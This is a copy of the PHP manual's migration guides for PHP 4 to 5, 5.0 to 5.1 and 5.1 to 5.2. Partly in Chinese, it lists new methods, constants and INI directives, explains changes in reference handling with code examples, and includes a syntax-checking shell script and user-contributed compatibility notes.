New Methods

New methods were introduced in 5.2.0:

dom:

  • DOMDocument::registerNodeClass() - Register extended class used to create base node type
  • DOMElement::setIDAttribute() - Declares the attribute specified by name to be of type ID
  • DOMElement::setIDAttributeNode() - Declares the attribute specified by node to be of type ID
  • DOMElement::setIDAttributeNS() - Declares the attribute specified by local name and namespace URI to be of type ID
  • DOMNode::C14N()([bool exclusive [, bool with_comments [, array xpath [, array ns_prefixes]]]]) - Canonicalize nodes to a string
  • DOMNode::C14NFile()(string uri [, bool exclusive [, bool with_comments [, array xpath [, array ns_prefixes]]]]) - Canonicalize nodes to a file
  • DOMNode::getNodePath()() - Gets an xpath for a node

soap:

  • SoapServer::setObject()(object obj) - Sets object which will handle SOAP requests

spl:

  • int ArrayObject::asort()(void) - Sort the entries by values
  • int ArrayObject::ksort()(void) - Sort the entries by key
  • int ArrayObject::natcasesort()(void) - Sort the entries by key using case insensitive "natural order" algorithm.
  • int ArrayObject::natsort()(void) - Sort the entries by values using "natural order" algorithm.
  • int ArrayObject::uasort()(callback cmp_function) - Sort the entries by values using a user defined function
  • int ArrayObject::uksort()(callback cmp_function) - Sort the entries by key using a user defined function.
  • ArrayIterator AppendIterator::getArrayIterator()() - Get access to inner ArrayIterator
  • int AppendIterator::getIteratorIndex()() - Get index of iterator
  • bool CachingIterator::getCache()() - Return the cache
  • int CachingIterator::getFlags()() - Return the internal flags
  • bool CachingIterator::offsetExists()(mixed index) - Returns TRUE if the requested index exists
  • string CachingIterator::offsetGet()(mixed index) - Return the internal cache if used
  • void CachingIterator::offsetSet()(mixed index, mixed newval) - Set given index in cache
  • void CachingIterator::offsetUnset()(mixed index) - Unset given index in cache
  • void CachingIterator::setFlags()() - Set the internal flags
  • array("delimiter" =>, "enclosure" =>) SplFileObject::getCsvControl()(void) - Get the delimiter and enclosure character used in fgetcsv()
  • void SplFileObject::setCsvControl()([string delimiter = ',' [, string enclosure = '"']]) - Set the delimiter and enclosure character used in fgetcsv()

Tidy

  • tidyNode tidyNode::getParent()() - Returns the parent node of the current node (Added in PHP 5.2.2)

XMLReader

  • boolean XMLReader::setSchema() - Use W3C XSD schema to validate the document as it is processed. Activation is only possible before the first XMLReader::read()

zip:

  • ZipArchive::addEmptyDir()() - Creates an empty directory in the archive

User Contributed Notes

There are no user contributed notes for this page.


Removed Extensions

These extensions have been moved to PECL and are no longer part of the PHP distribution. The PECL package version of these extensions will be created according to user demand.

  • filePro
  • Hyperwave API

User Contributed Notes

There are no user contributed notes for this page.


New Extensions

The following are new extensions added (by default) as of PHP 5.2.0:

  • Filter - validates and filters data, and is designed for use with insecure data such as user input. This extension is enabled by default; the default mode RAW does not impact input data in any way.
  • JSON - implements the JavaScript Object Notation (JSON) data interchange format. This extension is enabled by default.
  • Zip - enables you to transparently read or write ZIP compressed archives and the files inside them.

User Contributed Notes

There are no user contributed notes for this page.


New Classes

The following classes were introduced in PHP 5.2.0:

  • DateTime
  • DateTimeZone
  • RegexIterator - extends FilterIterator; implements Iterator, Traversable, OuterIterator Constants:
    • RegexIterator::ALL_MATCHES
    • RegexIterator::GET_MATCH
    • RegexIterator::MATCH
    • RegexIterator::REPLACE
    • RegexIterator::SPLIT
    • RegexIterator::USE_KEY
    Properties:
    • public replacement
    Methods:
    • RegexIterator::__construct(Iterator it, string regex [, int mode [, int flags [, int preg_flags]]]) - Create an RegexIterator from another iterator and a regular expression
    • bool RegexIterator::accept() - Match (string)current() against regular expression
    • bool RegexIterator::getFlags() - Returns current operation flags
    • bool RegexIterator::getMode() - Returns current operation mode
    • bool RegexIterator::getPregFlags() - Returns current PREG flags (if in use or NULL)
    • bool RegexIterator::setFlags(int new_flags) - Set operation flags
    • bool RegexIterator::setMode(int new_mode) - Set new operation mode
    • bool RegexIterator::setPregFlags(int new_flags) - Set PREG flags
  • RecursiveRegexIterator Constants:
    • RecursiveRegexIterator::ALL_MATCHES
    • RecursiveRegexIterator::GET_MATCH
    • RecursiveRegexIterator::MATCH
    • RecursiveRegexIterator::REPLACE
    • RecursiveRegexIterator::SPLIT
    • RecursiveRegexIterator::USE_KEY
    Methods:
    • RecursiveRegexIterator::__construct(RecursiveIterator it, string regex [, int mode [, int flags [, int preg_flags]]]) - Create an RecursiveRegexIterator from another recursive iterator and a regular expression
    • RecursiveRegexIterator RecursiveRegexIterator::getChildren() - Return the inner iterator's children contained in a RecursiveRegexIterator
    • bool RecursiveRegexIterator::hasChildren() - Check whether the inner iterator's current element has children

User Contributed Notes

There are no user contributed notes for this page.


New Global Constants

PHP Core:

  • M_EULER
  • M_LNPI
  • M_SQRT3
  • M_SQRTPI
  • PATHINFO_FILENAME
  • PREG_BACKTRACK_LIMIT_ERROR
  • PREG_BAD_UTF8_ERROR
  • PREG_INTERNAL_ERROR
  • PREG_NO_ERROR
  • PREG_RECURSION_LIMIT_ERROR
  • UPLOAD_ERR_EXTENSION
  • STREAM_SHUT_RD
  • STREAM_SHUT_WR
  • STREAM_SHUT_RDWR

curl:

  • CURLE_FILESIZE_EXCEEDED
  • CURLE_FTP_SSL_FAILED
  • CURLE_LDAP_INVALID_URL
  • CURLFTPAUTH_DEFAULT
  • CURLFTPAUTH_SSL
  • CURLFTPAUTH_TLS
  • CURLFTPSSL_ALL
  • CURLFTPSSL_CONTROL
  • CURLFTPSSL_NONE
  • CURLFTPSSL_TRY
  • CURLOPT_FTP_SSL
  • CURLOPT_FTPSSLAUTH
  • CURLOPT_TCP_NODELAY Added in PHP 5.2.1.
  • CURLOPT_TIMEOUT_MS Added in PHP 5.2.3
  • CURLOPT_CONNECTTIMEOUT_MS Added in PHP 5.2.3

GMP:

  • GMP_VERSION Added in PHP 5.2.2.

ming:

  • SWFTEXTFIELD_USEFONT
  • SWFTEXTFIELD_AUTOSIZE
  • SWF_SOUND_NOT_COMPRESSED
  • SWF_SOUND_ADPCM_COMPRESSED
  • SWF_SOUND_MP3_COMPRESSED
  • SWF_SOUND_NOT_COMPRESSED_LE
  • SWF_SOUND_NELLY_COMPRESSED
  • SWF_SOUND_5KHZ
  • SWF_SOUND_11KHZ
  • SWF_SOUND_22KHZ
  • SWF_SOUND_44KHZ
  • SWF_SOUND_8BITS
  • SWF_SOUND_16BITS
  • SWF_SOUND_MONO
  • SWF_SOUND_STEREO

openssl:

  • OPENSSL_VERSION_NUMBER
  • OPENSSL_VERSION_TEXT

snmp:

  • SNMP_OID_OUTPUT_FULL
  • SNMP_OID_OUTPUT_NUMERIC

Semaphore:

  • MSG_EAGAIN
  • MSG_ENOMSG

User Contributed Notes

There are no user contributed notes for this page.


New Class Constants

pdo:

  • PDO::ATTR_DEFAULT_FETCH_MODE
  • PDO::FETCH_PROPS_LATE
  • PDO::FETCH_KEY_PAIR Fetches a 2 column result set into an associated array. (Added in PHP 5.2.3)

spl:

  • CachingIterator::FULL_CACHE
  • CachingIterator::TOSTRING_USE_INNER
  • SplFileObject::READ_AHEAD
  • SplFileObject::READ_CSV
  • SplFileObject::SKIP_EMPTY

User Contributed Notes

There are no user contributed notes for this page.


New INI Configuration Directives

New php.ini directives introduced in PHP 5.2.0:

  • allow_url_include This useful option makes it possible to differentiate between standard file operations on remote files, and the inclusion of remote files. While the former is usually desirable, the latter can be a security risk if used naively. Starting with PHP 5.2.0, you can allow remote file operations while disallowing the inclusion of remote files in local scripts. In fact, this is the default configuration.
  • pcre.backtrack_limit PCRE's backtracking limit.
  • pcre.recursion_limit PCRE's recursion limit. Please note that if you set this value to a high number you may consume all the available process stack and eventually crash PHP (due to reaching the stack size limit imposed by the Operating System).
  • session.cookie_httponly Marks the cookie as accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).

New directives in PHP 5.2.2:

  • max_input_nesting_level Limits how deep input variables can be nested, default is 64.

User Contributed Notes

There are no user contributed notes for this page.


Error Reporting

Some of the existing E_ERROR conditions have been converted to something that can be caught with a user-defined error handler. If an E_RECOVERABLE_ERROR is not handled, it will behave in the same way as E_ERROR behaves in all versions of PHP. Errors of this type are logged as Catchable fatal error.

This change means that the value of the E_ALL error_reporting constant is now 6143, where the previous value was 2047. Because PHP constants have no meaning outside of PHP, in some cases the integer value is used instead so these will need to be adjusted. So for example by setting the error_reporting mode from either the httpd.conf or the .htaccess files, the value has to be changed accordingly. The same applies when the numeric values are used rather than the constants in PHP scripts.

As a side-effect of a change made to prevent duplicate error messages when track_errors is On, it is now necessary to return FALSE from user defined error handlers in order to populate $php_errormsg. This provides a fine-grain control over the levels of messages stored.

User Contributed Notes

There are no user contributed notes for this page.


Other Enhancements

  • Improved memory manager and increased default memory limit. The new memory manager allocates less memory and works faster than the previous incarnation. It allocates memory from the system in large blocks, and then manages the heap by itself. The memory_limit value in php.ini is checked, not for each emalloc() call (as before), but for actual blocks requested from the system. This means that memory_limit is far more accurate than it used to be, since the old memory manager didn't calculate all the memory overhead used by the malloc library. Thanks to this new-found accuracy memory usage may appear to have increased, although actually it has not. To accommodate this apparent increase, the default memory_limit setting was also increased - from 8 to 16 megabytes.
  • Added support for constructors in interfaces to force constructor signature checks in implementations. Starting with PHP 5.2.0, interfaces can have constructors. However, if you choose to declare a constructor in an interface, each class implementing that interface MUST include a constructor with a signature matching that of the base interface constructor. By 'signature' we mean the parameter and return type definitions, including any type hints and including whether the data is passed by reference or by value.

User Contributed Notes

There are no user contributed notes for this page.


Migrating from PHP 5.0.x to PHP 5.1.x

Table of Contents

  • Key PHP 5.1.x features
  • Changes in reference handling
  • Reading []
  • Integer values in function parameters
  • Class and object changes
  • Extensions
  • Date/time support
  • Changes in database support
  • Checking for E_STRICT

参见 PHP 版本迁移指南 5.0.x, 5.2.x, 5.3.x, 5.4.x, 5.5.x and 5.6.x.

User Contributed Notes

There are no user contributed notes for this page.


Key PHP 5.1.x features

Some of the key features of PHP 5.1.x include:

  • A complete rewrite of date handling code, with improved timezone support.

  • Significant performance improvements compared to PHP 5.0.X.

  • PDO extension is now enabled by default.

  • Over 30 new functions in various extensions and built-in functionality.

  • Over 400 various bug fixes.

User Contributed Notes

There are no user contributed notes for this page.


Changes in reference handling

  • Overview

  • Code that worked under PHP 4.3.x, but now fails

  • Code that worked under PHP 4.3.x, but now throws an error

  • Code that failed under PHP 4.3.x, but now works

  • Code that should have worked under PHP 5.0.x

  • Warnings that came and went

Overview

From the PHP script writer's point of view, the change most likely to impact legacy code is in the way that references are handled in all PHP versions post-dating the PHP 4.4.0 release.

Until and including PHP 4.3, it was possible to send, assign or return variables by reference that should really be returned by value, such as a constant, a temporary value (e.g. the result of an expression), or the result of a function that had itself been returned by value, as here:

<?php
$foo = "123";

function return_value() {
    global $foo;
    return $foo;
}

$bar = &return_value();
?>

Although this code would usually work as expected under PHP 4.3, in the general case the result is undefined. The Zend Engine could not act correctly on these values as references. This bug could and did lead to various hard-to-reproduce memory corruption problems, particularly where the code base was large.

In PHP 4.4.0, PHP 5.0.4 and all subsequent PHP releases, the Engine was fixed to 'know' when the reference operation is being used on a value that should not be referenced. The actual value is now used in such cases, and a warning is emitted. The warning takes the form of an E_NOTICE in PHP 4.4.0 and up, and E_STRICT in PHP 5.0.4 and up.

Code that could potentially produce memory corruption can no longer do so. However, some legacy code might work differently as a result.

Code that worked under PHP 4.3, but now fails

<?php
function func(&$arraykey) {
    return $arraykey; // function returns by value!
}

$array = array('a', 'b', 'c');
foreach (array_keys($array) as $key) {
    $y = &func($array[$key]);
    $z[] =& $y;
}

var_dump($z);
?>
<

Running the above script under any version of PHP that pre-dates the reference fix would produce this output:

array(3) {
  [0]=>
  &string(1) "a"
  [1]=>
  &string(1) "b"
  [2]=>
  &string(1) "c"
}

Following the reference fix, the same code would result in:

array(3) {
  [0]=>
  &string(1) "c"
  [1]=>
  &string(1) "c"
  [2]=>
  &string(1) "c"
}

This is because, following the changes, func() assigns by value. The value of $y is re-assigned, and reference-binding is preserved from $z. Prior to the fix, the value was assigned by reference, leading $y to be re-bound on each assignment. The attempt to bind to a temporary value by reference was the cause of the memory corruption.

Such code can be made to work identically in both the pre-fix and the post-fix PHP versions. The signature of func() can be altered to return by reference, or the reference assignment can be removed from the result of func().

<?php
function func() {
    return 'function return';
}

$x = 'original value';
$y =& $x;
$y = &func();
echo $x;
?>

In PHP 4.3 $x would be 'original value', whereas after the changes it would be 'function return' - remember that where the function does not return by reference, the reference assignment is converted to a regular assignment. Again, this can be brought to a common base, either by forcing func() to return by reference or by eliminating the by-reference assignment.

Code that worked under PHP 4.3.x, but now throws an error

<?php
class Foo {

    function getThis() {
        return $this;
    }

    function destroyThis() {
        $baz =& $this->getThis();
    }
}

$bar = new Foo();
$bar->destroyThis();
var_dump($bar);
?>

In PHP 5.0.3, $bar evaluated to NULL instead of returning an object. That happened because getThis() returns by value, but the value here is assigned by reference. Although it now works in the expected way, this is actually invalid code which will throw an E_NOTICE under PHP 4.4 or an E_STRICT under PHP 5.0.4 and up.

Code that failed under PHP 4.3.x, but now works

<?php
function &f() {
    $x = "foo";
    var_dump($x);
    print "$x\n";
    return($a);
}

for ($i = 0; $i < 3; $i++) {
    $h = &f();
}
?>

In PHP 4.3 the third call to var_dump() produces NULL, due to the memory corruption caused by returning an uninitialized value by reference. This is valid code in PHP 5.0.4 and up, but threw errors in earlier releases of PHP.

<?php
$arr = array('a1' => array('alfa' => 'ok'));
$arr =& $arr['a1'];
echo '-'.$arr['alfa']."-\n";
?>

Until PHP 5.0.5, it wasn't possible to assign an array element by reference in this way. It now is.

Code that should have worked under PHP 5.0.x

There are a couple of instances of bugs reported under PHP 5.0 prior to the reference fixes which now 'work'. However, in both cases errors are thrown by PHP 5.1.x, because the code was invalid in the first place. Returning values by reference using self:: now works in the general case but throws an E_STRICT warning, and although your mileage may vary when assigning by reference to an overloaded object, you will still see an E_ERROR when you try it, even where the assignment itself appears to work.

Warnings that came and went

Nested calls to functions returning by reference are valid code under both PHP 4.3.x and PHP 5.1.x, but threw an unwarranted E_NOTICE or E_STRICT under the intervening PHP releases.

<?php
function & foo() {
    $var = 'ok';
    return $var;
}

function & bar() {
    return foo();
}

$a =& bar();
echo "$a\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Reading []

<?php
class XmlTest {

    function test_ref(&$test) {
        $test = "ok";
    }

    function test($test) { }

    function run() {
        $ar = array();
        $this->test_ref($ar[]);
        var_dump($ar);
        $this->test($ar[]);
    }
}

$o = new XmlTest();
$o->run();
?>

This should always have thrown a fatal E_ERROR, because [] cannot be used for reading in PHP. It is invalid code in PHP 4.4.2 and PHP 5.0.5 upward.

User Contributed Notes

There are no user contributed notes for this page.


Integer values in function parameters

With the advent of PHP 5.0.x, a new parameter parsing API was introduced which is used by a large number of PHP functions. In all versions of PHP between 5.0.x and 5.1.x, the handling of integer values was very strict and would reject non-well formed numeric values when a PHP function expected an integer. These checks have now been relaxed to support non-well formed numeric strings such as " 123" and "123 ", and will no longer fail as they did under PHP 5.0.x. However, to promote code safety and input validation, PHP functions will now emit an E_NOTICE when such strings are passed as integers.

User Contributed Notes

There are no user contributed notes for this page.


Class and object changes

  • instanceof, is_a(), is_subclass_of() and catch

  • Abstract private methods

  • Access modifiers in interfaces

  • Changes in inheritance rules

  • Class constants

instanceof, is_a(), is_subclass_of() and catch

In PHP 5.0, is_a() was deprecated and replaced by the instanceof operator. There were some issues with the initial implementation of instanceof, which relied on __autoload() to search for missing classes. If the class was not present, instanceof would throw a fatal E_ERROR due to the failure of __autoload() to discover that class. The same behaviour occurred in the catch operator and the is_subclass_of() function, for the same reason.

None of these functions or operators call __autoload() in PHP 5.1.x, and the class_exists() workarounds used in code written for PHP 5.0.x, while not problematic in any way, are no longer necessary.

Abstract private methods

Abstract private methods were supported between PHP 5.0.0 and PHP 5.0.4, but were then disallowed on the grounds that the behaviours of private and abstract are mutually exclusive.

Access modifiers in interfaces

Under PHP 5.0, function declarations in interfaces were treated in exactly the same way as function declarations in classes. This has not been the case since October 2004, at which point only the public access modifier was allowed in interface function declarations. Since April 2005 - which pre-dates the PHP 5.0b1 release - the static modifier has also been allowed. However, the protected and private modifiers will now throw an E_ERROR, as will abstract. Note that this change should not affect your existing code, as none of these modifiers makes sense in the context of interfaces anyway.

Changes in inheritance rules

Under PHP 5.0, it was possible to have a function declaration in a derived class that did not match the declaration of the same function in the base class, e.g.

This code will cause an E_STRICT error to be emitted under PHP 5.1.x.

<?php
class Base {
    function &return_by_ref() {
        $r = 1;
        return $r;
    }
}

class Derived extends Base {
    function return_by_ref() {
        return 1;
    }
}
?>

Class constants

Under PHP 5.0.x, the following code was valid:

Under PHP 5.1.x, redefinition of a class constant will throw a fatal E_ERROR.

<?php
class test {
    const foobar = 'foo';
    const foobar = 'bar';
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Extensions

  • Extensions that are gone from the PHP core

  • Class constants in new PHP 5.1.x extensions

Extensions that are gone from the PHP core

One of the first things you're likely to notice when you download PHP 5.1.x is that several of the older extensions have disappeared. Those extensions that are still actively maintained are available in the PHP Extension Community Library (PECL), at » https://pecl.php.net/.

Removed extensions
Extension | Alternative/Status
ext/cpdf | pecl/pdflib
ext/dbx | pecl/dbx
ext/dio | pecl/dio
ext/fam | Not actively maintained
ext/ingres_ii | pecl/ingres
ext/ircg | Not actively maintained
ext/mcve | pecl/mcve
ext/mnogosearch | Not actively maintained
ext/oracle | ext/oci8 or ext/pdo_oci
ext/ovrimos | Not actively maintained
ext/pfpro | Not actively maintained
ext/w32api | » pecl/ffi
ext/yp | Not actively maintained
ext/activescript | » pecl/activescript

Modules in PECL that are not actively maintained (i.e. have not been supported for some time, have no active maintainer working on them currently, and do not have any PECL package releases), are still available in SVN at » https://svn.php.net/viewvc/pecl. However, unreleased PHP modules are by their nature unsupported, and your mileage may vary when attempting to install or use them.

Class constants in new PHP 5.1.x extensions

The Zend Engine 2.1 API allows extension developers to declare class constants in object oriented extensions. New extensions written for PHP 5.1.x, including SPL, PDO, XMLReader and date, have their constants in the format PDO::CLASS_CONSTANT rather than in the C format PDO_CLASS_CONSTANT in order to minimise pollution of the global namespace in PHP.

User Contributed Notes

There are no user contributed notes for this page.


Date/time support

Date/time support has been fully rewritten in PHP 5.1.x, and no longer uses the system settings to 'know' the timezone in operation. It will instead utilize, in the following order:

  • The timezone set using the date_default_timezone_set() function (if any)

  • The TZ environment variable (if non empty)

  • "magical" guess (if the operating system supports it)

  • If none of the above options succeeds, UTC

To ensure accuracy (and avoid an E_STRICT warning), you will need to define your timezone in your php.ini using the following format:

date.timezone = Europe/London

The supported timezones are listed, in this format, in the timezones appendix.

Also note that strtotime() now returns FALSE on failure, instead of -1.

User Contributed Notes

There are no user contributed notes for this page.


Changes in database support

  • PDO overview

  • Changes in MySQL support

  • Changes in SQLite support

PDO overview

PHP Data Objects (PDO) were introduced as a PECL extension under PHP 5.0, and became part of the core PHP distribution in PHP 5.1.x. The PDO extension provides a consistent interface for database access, and is used alongside database-specific PDO drivers. Each driver may also have database-specific functions of its own, but basic data access functionality such as issuing queries and fetching data is covered by PDO functions, using the driver named in PDO::__construct().

Note that the PDO extension, and its drivers, are intended to be built as shared extensions. This will enable straightforward driver upgrades from PECL, without forcing you to rebuild all of PHP.

At the point of the PHP 5.1.x release, PDO is more than ready for widespread testing and could be adopted in most situations. However, it is important to understand that PDO and its drivers are comparatively young and may be missing certain database-specific features; evaluate PDO carefully before you use it in new projects.

Legacy code will generally rely on the pre-existing database extensions, which are still maintained.

Changes in MySQL support

In PHP 4, MySQL 3 support was built-in. With the release of PHP 5.0 there were two MySQL extensions, named 'mysql' and 'mysqli', which were designed to support MySQL < 4.1 and MySQL 4.1 and up, respectively. With the introduction of PDO, which provides a very fast interface to all the database APIs supported by PHP, the PDO_MYSQL driver can support any of the current versions (MySQL 3, 4 or 5) in PHP code written for PDO, depending on the MySQL library version used during compilation. The older MySQL extensions remain in place for reasons of back compatibility, but are not enabled by default.

Changes in SQLite support

In PHP 5.0.x, SQLite 2 support was provided by the built-in sqlite extension, which was also available as a PECL extension in PHP 4.3 and PHP 4.4. With the introduction of PDO, the sqlite extension doubles up to act as a 'sqlite2' driver for PDO; it is due to this that the sqlite extension in PHP 5.1.x has a dependency upon the PDO extension.

PHP 5.1.x ships with a number of alternative interfaces to sqlite:

The sqlite extension provides the "classic" sqlite procedural/OO API that you may have used in prior versions of PHP. It also provides the PDO 'sqlite2' driver, which allows you to access legacy SQLite 2 databases using the PDO API.

PDO_SQLITE provides the 'sqlite' version 3 driver. SQLite version 3 is vastly superior to SQLite version 2, but the file formats of the two versions are not compatible.

If your SQLite-based project is already written and working against earlier PHP versions, then you can continue to use ext/sqlite without problems, but will need to explicitly enable both PDO and sqlite. New projects should use PDO and the 'sqlite' (version 3) driver, as this is faster than SQLite 2, has improved locking concurrency, and supports both prepared statements and binary columns natively.

You must enable PDO to use the SQLite extension. If you want to build the PDO extension as a shared extension, then the SQLite extension must also be built shared. The same holds true for any extension that provides a PDO driver

User Contributed Notes

There are no user contributed notes for this page.


Checking for E_STRICT

If you only have a single script to check, you can pick up E_STRICT errors using PHP's commandline lint facility:

php -d error_reporting=4095 -l script_to_check.php

For larger projects, the shell script below will achieve the same task:

#!/bin/sh

directory=$1

shift

# These extensions are checked
extensions="php inc"

check_file ()
{
  echo -ne "Doing PHP syntax check on $1 ..."

  # Options:
  ERRORS=`/www/php/bin/php -d display_errors=1 -d html_errors=0 -d error_prepend_string=" " -d error_append_string=" " -d error_reporting=4095 -l $1 | grep -v "No syntax errors detected"`

  if test -z "$ERRORS"; then
    echo -ne "OK."
  else
    echo -e "Errors found!\n$ERRORS"
  fi

  echo
}

# loop over remaining file args
for FILE in "$@" ; do
  for ext in $extensions; do
     if echo $FILE | grep "\.$ext$" > /dev/null; then
       if test -f $FILE; then
         check_file "$FILE"
       fi
     fi
  done
done

User Contributed Notes

There are no user contributed notes for this page.


从 PHP 4 移植到 PHP 5

Table of Contents

  • PHP 5 中有哪些改变
  • 未向下兼容的改变
  • CLI 和 CGI
  • 移植配置文件
  • 新函数
  • 新指令
  • 数据库
  • 新对象模型
  • 错误报告

参见 PHP 版本迁移指南 5.1.x, 5.2.x and 5.3.x.

User Contributed Notes

There are no user contributed notes for this page.


PHP 5 中有哪些改变

PHP 5 和集成的 Zend Engine 2 代极大提高了 PHP 的性能和能力，而且投入极大努力尽可能避免破坏已有的代码的使用。因此将代码从 PHP 4 移植到 PHP 5 应该很容易。大多数已有的 PHP 4 代码应该不用改就能运行，但还是应该注意到几点区别并在实际运作环境下转换到新版本之前多做测试。

User Contributed Notes

There are no user contributed notes for this page.


未向下兼容的改变

尽管大部分 PHP 4 的代码应该不用修改就能运行，还是应该留意以下不向下兼容的改变：

  • 有了一些新关键字。
  • strrpos() 和 strripos() 如今使用整个字符串作为 needle。
  • 非法使用字符串偏移量会导致 E_ERROR 而不是 E_WARNING。一个非法使用的例子：$str = 'abc'; unset($str[0]);.
  • array_merge() 被改成只接受数组。如果传递入非数组变量，对每个此类参数都会发出一条 E_WARNING 信息。要小心因为你的代码有可能疯狂发出 E_WARNING。
  • PATH_TRANSLATED 服务器变量在 Apache2 SAPI 中不再暗中设定，这和 PHP 4 中的情形相反，如果 Apache 没产生此值则其被设为和 SCRIPT_FILENAME 服务器变量一样的值。此修改是为了遵守 » CGI 规范。更多信息见 » bug #23610，并参考手册中 $_SERVER['PATH_TRANSLATED'] 的说明。此问题也影响到 PHP >= 4.3.2 的版本。
  • Tokenizer 扩展不再定义 T_ML_COMMENT 常量。如果把 error_reporting 设为 E_ALL，PHP 将产生一条消息。尽管 T_ML_COMMENT 从来都没用到过，还是在 PHP 4 中定义了。在 PHP 4 和 PHP 5 中 // 和 /* */ 都被解析为 T_COMMENT 常量。但是 PHPDoc 风格的注释 /** */，自 PHP 5 开始被 PHP 解析，被识别为 T_DOC_COMMENT。
  • 如果 variables_order 包括"S"，$_SERVER 应该带有 argc 和 argv 被产生。如果用户特别配制系统不创建 $_SERVER，那此变量当然就不存在了。改变的地方是不管 variables_order 怎么设定，在 CLI 版本中 argc 和 argv 总是可用的。本来 CLI 版不是总会产生全局变量 $argc 和 $argv 的。
  • 没有属性的对象不再被当成"empty"。
  • 有些情况下类必须在使用前被定义。这仅在使用了一些 PHP 5 的新特性（例如 interfaces）的时候发生。其它情况下行为都没变。
  • get_class()，get_parent_class() 和 get_class_methods() 如今返回的类／方法名和定义时的名字一致（区分大小写），对于依赖以前行为（类／方法名总是返回小写的）的老脚本可能产生问题。一个可能的解决方法是在脚本中搜索所有这些函数并使用 strtolower()。 区分大小写的改变也适用于魔术常量 __CLASS__，__METHOD__ 和 __FUNCTION__。其值都会严格按照定义时的名字返回（区分大小写）。
  • ip2long() 在传递入一个非法 IP 作为参数时返回 FALSE，不再是 -1。
  • 如果有函数定义在包含文件中，则这些函数可以在主文件中使用而与是否在 return 指令之前还是之后无关。如果文件被包含两次，PHP 5 会发出致命错误，因为函数已经被定义，而 PHP 4 不管这个。因此推荐使用 include_once 而不要去检查文件是否已被包含以及在包含文件中有条件返回。
  • include_once 和 require_once 在 Windows 下先将路径规格化，因此包含 A.php 和 a.php 只会把文件包含一次。

Example #1 strrpos() 和 strripos() 如今用整个字符串作为 needle

<?php
var_dump(strrpos('ABCDEF','DEF')); //int(3)

var_dump(strrpos('ABCDEF','DAF')); //bool(false)
?>

Example #2 没有属性的对象不再被当成"empty"

<?php
class test { }
$t = new test();

var_dump(empty($t)); // echo bool(false)

if ($t) {
    // Will be executed
}
?>

Example #3 有些情况下类必须在使用之前定义

<?php

//works with no errors:
$a = new a();
class a {
}

//throws an error:
$a = new b();

interface c{
}
class b implements c {
}

?>

User Contributed Notes

michael dot darmousseh at gmail dot com 03-Feb-2010 05:53
Hack way to fix the array_merge problem so that it works with your existing php4 code

<?php
function array_merge5()
{
    $args = func_get_args();
    foreach($args as $key=>$arg)
        $args[$key] = (array) $arg;
    return call_user_func_array("array_merge", $args);
}
?>

just put it somewhere completely accessible to your codebase and change all of your calls to array_merge to array_merge5.
paul at oconnor-web dot net 10-Apr-2008 04:17
The __call function will also lowercase the method arguement:

<?php
   function __call($method, $args) {
     if ($method == 'Foo') {
       return true;
     } else {
       return false
     }
   }
?>

(= false)
Steven 19-Mar-2008 04:07
Three more that we discovered:

== 1. No longer can re-assign $this ==

The follwoing example works under PHP4 (it outputs "OK"), but produces a fatal error under PHP5:

<?php
  class a
  {
    var $text;
    function a() { $this->text = 'OK'; }
  }

  class b
  {
    var $text = 'NOT OK';
    function b() { $this = new a(); }
  }

  $myClass = new b();
  echo $myClass->text;
?>

== 2. No comments allowed after shorthand echo block ==

The follwoing example works under PHP4, but produces a sytax error under PHP5.

<?=//comment?>

== 3. Constructors return a reference as default ==

The follwoing example works under PHP4, but produces an E_NOTICE notice under PHP5.

<?php
  class MyClass { function MyClass() { echo('OK'); } }
  $myObj = null;
  $myObj &= new MyClass();
?>

Removing the ampersand solves the problem
Aggelos Orfanakos 08-Nov-2007 05:10
As with array_merge(), array_merge_recursive() returns NULL in PHP 5 if a non-array parameter is passed to it.
Sinured 10-Aug-2007 04:43
Not mentioned above: The PHP/FI 2 function style (old_function aka cfunction) is no longer supported as of PHP 5.
nami 26-Jul-2007 07:22
addition of the note on 07-Sep-2004 06:40

if you write down your code like this PHP5 will just work fine:

<?php
     $array_1 = array('key1'=>'oranges','key2'=>'apples');
     $array_2 = array('key3'=>'pears','key4'=>'tomatoes');
     $array_3 = array();
     $arr_gemerged = array_merge($array_1,$array_2,$array_3);
     echo "result:<br>";
     print_r($arr_gemerged);
     echo "<br>";
?>

---

so you have to declare array_3 as array() instead of NULL
kemal djakman 22-Jun-2007 06:11
The handling of accessing empty property of a class error has also changed:
<?php

class Foo {

    var $Bar = 'xxx';

    function F() {
        echo $this->$Bar;
    }
}

$Obj = new Foo();
$Obj->F();

?>

Notice the $ sign after object dereference opr?  $Bar is empty inside method F.   PHP4 would only generate a warning, PHP5 throws a fatal error
Amir Laher 29-Apr-2007 02:34
Some other things to be aware of:

some extra strictness:
* object members can no longer be accessed using array-member syntax
* function-calls with too many arguments will now cause errors.

Also, from PHP5.2, custom session handlers are affected:
* Best not to use global objects in custom session-handling functions. These would get destructed *before* the session is written (unless session_write_close() is called explicitly).
28-Feb-2006 02:03
is_a have been deprecated. You can simply replace all occurences with the new instanceOf operator, although this will break backwards-compatibility with php4.
dward . maidencreek.com 02-Nov-2004 12:54
Another change that we've had problems with while trying to use PHP4 code in PHP5 is how $this is carried across static method calls if they are not declared static in PHP5.  The main issue was that debug_backtrace() now shows the first class with -> instead of the second with :: in the backtrace element when the method in the second class was called statically (using ::) from a method in the first class.
07-Sep-2004 09:40
Be careful with array_merge in PHP5.1 not only a E_WARNING is thrown, but also the result is an empty array. So if you merge two select queries and the last one is empty you will end up with no array at all.

<?php
        $array_1 = array('key1'=>'oranges','key2'=>'apples');
        $array_2 = array('key3'=>'pears','key4'=>'tomatoes');
        $array_3 = null;
        $arr_gemerged = array_merge($array_1,$array_2,$array_3);
        print_r($arr_gemerged);
        echo "<br>";
?>

Result on php4:
Array ( [key1] => oranges [key2] => apples [key3] => pears [key4] => tomatoes )

Result on php5:
Warning: array_merge() [function.array-merge]: Argument #3 is not an array in /removed/by/danbrown/for/manual.php on line 7
john.g 26-Aug-2004 10:45
PATH_TRANSLATED is handy when using Apache's ModRewrite engine, as it gives you the name and path of the resulting file rather than the one that was requested by the user. Since PHP 5.0 and Apache 2 no longer support this variable, I created a workaround by adding an environment variable to my ModRewrite command:

Original:
RewriteRule ^/test/(.*)\.php(.*) /test/prefix_$1.php$2

Adjusted:
RewriteRule ^/test/(.*)\.php(.*) /test/prefix_$1.php$2 [E=TARGET:prefix_$1.php]

